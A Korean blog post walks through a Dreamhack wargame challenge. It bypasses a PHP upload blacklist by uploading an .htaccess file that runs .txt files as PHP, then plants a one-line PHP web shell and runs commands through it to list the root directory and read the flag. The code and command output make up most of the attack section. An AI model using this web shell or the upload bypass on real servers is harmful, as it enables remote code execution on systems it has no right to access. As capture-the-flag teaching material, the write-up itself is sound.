Apache htaccess

2026. 2. 8. 00:33·Dreamhack 워게임/Lv.1
반응형

문제설명

파일 업로드 기능을 악용하여 서버의 권한을 획득하세요 !


코드 분석

upload.php

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>
  • 업로드 금지 목록 php, php3, php4, php5, pht, phtml
  • $FILES가 있으면 업로드 처리 (에러 있으면 에러처리)
  • 이름과 확장자 처리하는데 금지목록에 있으면 차단
  • 아니면 저장 후 /upload/파일명 으로 저장

000-default.conf

...
<Directory /var/www/html/>
     AllowOverride All
     Require all granted
 </Directory>
...
  • AllowOverride All 이므로 .htaccess 허용

취약점분석

  • 특정 확장자만 금지시킴
  • 파일명을 그대로 저장함

익스플로잇

먼저 파일들이 제대로 업로드되는지 확인해 봄.

제대로 파일이 업로드된 것을 확인

 

먼저 .htaccess 파일을 다음과 같이 생성해 줌

AddType application/x-httpd-php .txt
  • .txt인 파일을 php로 해석하라는 뜻

그다음 .htaccess 파일을 업로드해준다.

제대로 저장됐다. 그다음 exploit.txt를 만들어 내용을 다음과 같이 작성해 준다.

<?php
  system($_GET[cmd]);
  echo Hello
?>

txt 파일이 php 코드임에도 정상적으로 작동하는 것을 확인할 수 있다.

그다음 아래와 같이 작성해 주면

/upload/ex.txt?cmd=ls -al /
total 92 
dr-xr-xr-x 1 root root 4096 Feb 7 14:09 . 
dr-xr-xr-x 1 root root 4096 Feb 7 14:09 .. 
drwxr-xr-x 2 root root 4096 Jan 25 2022 bin 
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot 
drwxr-xr-x 8 root root 2540 Feb 7 14:09 dev 
drwxr-xr-x 1 root root 4096 Feb 7 14:09 etc 
---x--x--x 1 root root 8518 Jan 25 2022 flag 
drwxr-xr-x 2 root root 4096 Apr 10 2014 home 
drwxr-xr-x 12 root root 4096 Jan 25 2022 lib 
drwxr-xr-x 2 root root 4096 Dec 17 2019 lib64 
drwxr-xr-x 2 root root 4096 Dec 17 2019 media 
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt 
drwxr-xr-x 2 root root 4096 Dec 17 2019 opt 
dr-xr-xr-x 112 root root 0 Feb 7 14:09 proc 
drwx------ 2 root root 4096 Dec 17 2019 root 
drwxr-xr-x 1 root root 4096 Jan 25 2022 run 
drwxr-xr-x 2 root root 4096 Mar 25 2021 sbin 
drwxr-xr-x 2 root root 4096 Dec 17 2019 srv 
dr-xr-xr-x 11 root root 0 Feb 7 15:05 sys 
drwxrwxrwt 1 root root 4096 Feb 7 15:21 tmp 
drwxr-xr-x 10 root root 4096 Dec 17 2019 usr 
drwxr-xr-x 1 root root 4096 Jan 25 2022 var 
Hello

flag 파일이 실행파일로 있는 것을 확인

/upload/ex.txt?cmd=/flag

다음과 같이 작성해 주면 플래그 획득


.htaccess

Apache 웹 서버에서 해당 폴더(디렉토리) 단위로 설정을 덮어쓰는 설정 파일이다.

쉽게 말해, 어떤 확장자를 어떤 처리기에게 넘길지, 어떤 파일을 어떤 MIME 타입으로 취급할지 같은 걸 바꾸는 역할을 한다.

ex) .jpg 를 php로 실행해라.

 

서버가 Apache이고, .htaccess를 적용이 허용돼야 우회 가능함! 

 

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

amocafe  (0) 2026.02.08
command-injection-chatgpt  (0) 2026.02.08
File Vunleravility Advanced for Linux  (0) 2026.02.07
sql injection bypass WAF  (0) 2026.02.06
Command Injection Advanced  (0) 2026.02.06
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • amocafe
  • command-injection-chatgpt
  • File Vunleravility Advanced for Linux
  • sql injection bypass WAF
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    xss
    web
    cve
    DreamHack
    JavaScript
    alpacahack
    LLM
    webstudy
    CSRF
    hacking
    드림핵
    webhacking
    JS
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Apache htaccess
상단으로

티스토리툴바